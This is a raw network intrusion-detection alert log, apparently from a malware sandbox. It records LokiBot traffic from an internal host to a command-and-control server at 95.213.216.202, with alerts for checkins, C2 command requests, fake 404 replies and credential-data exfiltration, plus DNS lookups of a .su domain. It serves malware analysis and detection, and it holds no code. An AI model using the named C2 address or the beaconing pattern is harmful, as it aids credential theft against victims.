192.168.2.38.8.8.857704532014169 11/30/22-00:54:41.979608	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57704	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249715802024318 11/30/22-00:54:42.060768	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249752802825766 11/30/22-00:55:49.378987	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49752	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249756802024313 11/30/22-00:55:57.533680	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49756	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249715802024313 11/30/22-00:54:42.060768	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249751802024313 11/30/22-00:55:47.279515	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249711802825766 11/30/22-00:54:33.859062	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49711	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249751802024318 11/30/22-00:55:47.279515	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249710802024318 11/30/22-00:54:31.910937	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49710	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249710802024313 11/30/22-00:54:31.910937	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49710	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249747802025381 11/30/22-00:55:40.214633	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249701802025381 11/30/22-00:54:12.581436	TCP	2025381	ET TROJAN LokiBot Checkin	49701	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249755802025381 11/30/22-00:55:55.653974	TCP	2025381	ET TROJAN LokiBot Checkin	49755	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249729802021641 11/30/22-00:55:07.068054	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497442025483 11/30/22-00:55:36.086250	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49744	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249735802024318 11/30/22-00:55:17.863854	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.853049532014169 11/30/22-00:55:19.563471	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53049	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249735802024313 11/30/22-00:55:17.863854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249744802024313 11/30/22-00:55:34.401351	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497472025483 11/30/22-00:55:41.771804	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49747	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249744802024318 11/30/22-00:55:34.401351	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249741802021641 11/30/22-00:55:29.247109	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249704802825766 11/30/22-00:54:18.966132	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49704	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249746802025381 11/30/22-00:55:38.275174	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249732802021641 11/30/22-00:55:12.457821	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249699802024312 11/30/22-00:54:07.324934	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49699	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249707802024313 11/30/22-00:54:24.716724	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49707	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497062025483 11/30/22-00:54:24.053489	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49706	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497502025483 11/30/22-00:55:46.963833	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49750	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249699802024317 11/30/22-00:54:07.324934	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49699	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249727802025381 11/30/22-00:55:03.486766	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865511532014169 11/30/22-00:55:27.103034	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65511	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.864967532014169 11/30/22-00:55:58.869049	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	64967	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249721802025381 11/30/22-00:54:53.572062	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249707802024318 11/30/22-00:54:24.716724	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49707	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249713802021641 11/30/22-00:54:37.979213	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249732802825766 11/30/22-00:55:12.457821	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49732	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249751802825766 11/30/22-00:55:47.279515	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49751	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497552025483 11/30/22-00:55:57.270722	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49755	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497582025483 11/30/22-00:56:00.797031	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49758	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497362025483 11/30/22-00:55:21.118367	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49736	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249703802024318 11/30/22-00:54:16.960834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49703	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249702802025381 11/30/22-00:54:14.871390	TCP	2025381	ET TROJAN LokiBot Checkin	49702	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249703802024313 11/30/22-00:54:16.960834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49703	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.857134532014169 11/30/22-00:54:31.820802	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57134	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249758802021641 11/30/22-00:56:00.034214	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.858691532014169 11/30/22-00:54:53.455722	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	58691	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249736802825766 11/30/22-00:55:19.643476	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49736	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249705802025381 11/30/22-00:54:20.168790	TCP	2025381	ET TROJAN LokiBot Checkin	49705	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497332025483 11/30/22-00:55:15.751744	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49733	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249745802825766 11/30/22-00:55:36.377571	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49745	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497032025483 11/30/22-00:54:18.541620	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49703	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497142025483 11/30/22-00:54:41.602416	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49714	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249716802024313 11/30/22-00:54:43.829219	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.859433532014169 11/30/22-00:54:56.376062	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	59433	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249757802024313 11/30/22-00:55:58.948901	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49757	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249717802825766 11/30/22-00:54:45.540558	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49717	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249722802024313 11/30/22-00:54:54.732179	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249716802024318 11/30/22-00:54:43.829219	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249759802025381 11/30/22-00:56:01.042444	TCP	2025381	ET TROJAN LokiBot Checkin	49759	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249757802024318 11/30/22-00:55:58.948901	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49757	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249723802825766 11/30/22-00:54:56.463103	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49723	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249718802025381 11/30/22-00:54:47.592007	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249730802025381 11/30/22-00:55:08.823725	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249704802021641 11/30/22-00:54:18.966132	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49704	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249722802024318 11/30/22-00:54:54.732179	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49722	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249745802021641 11/30/22-00:55:36.377571	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249714802024313 11/30/22-00:54:39.977728	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249725802825766 11/30/22-00:54:59.930841	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49725	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249700802025381 11/30/22-00:54:09.487691	TCP	2025381	ET TROJAN LokiBot Checkin	49700	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249714802024318 11/30/22-00:54:39.977728	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.858708532014169 11/30/22-00:55:15.985743	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	58708	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497282025483 11/30/22-00:55:06.759571	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49728	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249732802024318 11/30/22-00:55:12.457821	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49732	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249707802825766 11/30/22-00:54:24.716724	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49707	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497242025483 11/30/22-00:54:59.594972	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49724	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249732802024313 11/30/22-00:55:12.457821	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249708802021641 11/30/22-00:54:26.803652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49708	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249724802024318 11/30/22-00:54:58.184483	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249759802021641 11/30/22-00:56:01.042444	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249751802025381 11/30/22-00:55:47.279515	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249724802024313 11/30/22-00:54:58.184483	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249710802025381 11/30/22-00:54:31.910937	TCP	2025381	ET TROJAN LokiBot Checkin	49710	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249715802825766 11/30/22-00:54:42.060768	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49715	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249747802024318 11/30/22-00:55:40.214633	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249747802024313 11/30/22-00:55:40.214633	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249719802024313 11/30/22-00:54:49.641508	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49719	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249743802825766 11/30/22-00:55:32.962709	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49743	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.857571532014169 11/30/22-00:54:51.528645	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	57571	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249719802024318 11/30/22-00:54:49.641508	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49719	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249742802024318 11/30/22-00:55:31.101064	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.859636532014169 11/30/22-00:54:37.879679	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	59636	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249720802825766 11/30/22-00:54:51.608521	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49720	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249742802024313 11/30/22-00:55:31.101064	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249718802021641 11/30/22-00:54:47.592007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249733802025381 11/30/22-00:55:14.244291	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249736802021641 11/30/22-00:55:19.643476	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249746802021641 11/30/22-00:55:38.275174	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249734802024318 11/30/22-00:55:16.065951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249723802025381 11/30/22-00:54:56.463103	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249748802825766 11/30/22-00:55:42.098367	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49748	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249737802024313 11/30/22-00:55:21.614296	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497562025483 11/30/22-00:55:58.723099	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49756	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249702802825766 11/30/22-00:54:14.871390	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49702	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249737802024318 11/30/22-00:55:21.614296	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49737	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249730802825766 11/30/22-00:55:08.823725	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49730	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249706802024313 11/30/22-00:54:22.484255	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49706	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249734802024313 11/30/22-00:55:16.065951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497352025483 11/30/22-00:55:19.347023	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49735	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249706802024318 11/30/22-00:54:22.484255	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49706	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497522025483 11/30/22-00:55:50.930381	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49752	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497172025483 11/30/22-00:54:47.032787	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49717	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249733802825766 11/30/22-00:55:14.244291	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49733	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497392025483 11/30/22-00:55:26.908255	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49739	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249720802025381 11/30/22-00:54:51.608521	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249749802021641 11/30/22-00:55:43.976237	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865320532014169 11/30/22-00:54:43.751689	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65320	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249735802825766 11/30/22-00:55:17.863854	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49735	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.852079532014169 11/30/22-00:55:32.870195	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	52079	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497012025483 11/30/22-00:54:14.085146	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49701	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249731802025381 11/30/22-00:55:10.632751	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249709802024318 11/30/22-00:54:29.164231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49709	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249745802024318 11/30/22-00:55:36.377571	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49745	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249709802024313 11/30/22-00:54:29.164231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49709	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249705802825766 11/30/22-00:54:20.168790	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49705	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249745802024313 11/30/22-00:55:36.377571	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249704802024318 11/30/22-00:54:18.966132	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49704	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249704802024313 11/30/22-00:54:18.966132	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49704	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249717802024313 11/30/22-00:54:45.540558	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249722802825766 11/30/22-00:54:54.732179	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49722	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249703802025381 11/30/22-00:54:16.960834	TCP	2025381	ET TROJAN LokiBot Checkin	49703	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.849302532014169 11/30/22-00:54:20.078245	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	49302	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249711802024313 11/30/22-00:54:33.859062	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49711	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249728802825766 11/30/22-00:55:05.285201	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49728	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249705802021641 11/30/22-00:54:20.168790	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49705	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249711802024318 11/30/22-00:54:33.859062	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49711	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249738802021641 11/30/22-00:55:23.450513	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865385532014169 11/30/22-00:55:49.289719	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65385	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249740802825766 11/30/22-00:55:27.193434	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49740	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497452025483 11/30/22-00:55:37.973570	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49745	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497462025483 11/30/22-00:55:39.906968	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49746	95.213.216.202	192.168.2.3
95.213.216.202192.168.2.380497402025483 11/30/22-00:55:28.902821	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49740	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249717802024318 11/30/22-00:54:45.540558	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249701802024313 11/30/22-00:54:12.581436	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49701	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249738802825766 11/30/22-00:55:23.450513	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49738	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497132025483 11/30/22-00:54:39.587400	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49713	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249701802024318 11/30/22-00:54:12.581436	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49701	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249756802825766 11/30/22-00:55:57.533680	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49756	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497022025483 11/30/22-00:54:16.469088	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49702	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249750802825766 11/30/22-00:55:45.758418	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49750	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249743802021641 11/30/22-00:55:32.962709	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249740802021641 11/30/22-00:55:27.193434	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249729802025381 11/30/22-00:55:07.068054	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249752802024313 11/30/22-00:55:49.378987	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249741802025381 11/30/22-00:55:29.247109	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249726802025381 11/30/22-00:55:01.673863	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249752802024318 11/30/22-00:55:49.378987	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.856042532014169 11/30/22-00:54:35.894646	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	56042	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.853844532014169 11/30/22-00:55:03.396283	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53844	53	192.168.2.3	8.8.8.8
192.168.2.38.8.8.862050532014169 11/30/22-00:54:33.763792	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	62050	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249728802021641 11/30/22-00:55:05.285201	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497512025483 11/30/22-00:55:49.068855	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49751	95.213.216.202	192.168.2.3
192.168.2.395.213.216.20249755802024318 11/30/22-00:55:55.653974	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49755	80	192.168.2.3	95.213.216.202
95.213.216.202192.168.2.380497182025483 11/30/22-00:54:49.052316	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49718	95.213.216.202	192.168.2.3
192.168.2.38.8.8.852547532014169 11/30/22-00:55:01.596754	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	52547	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249755802024313 11/30/22-00:55:55.653974	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49755	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249727802024318 11/30/22-00:55:03.486766	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49727	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249713802025381 11/30/22-00:54:37.979213	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249756802021641 11/30/22-00:55:57.533680	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.865459532014169 11/30/22-00:55:47.178193	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	65459	53	192.168.2.3	8.8.8.8
95.213.216.202192.168.2.380497072025483 11/30/22-00:54:26.372322	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49707	95.213.216.202	192.168.2.3
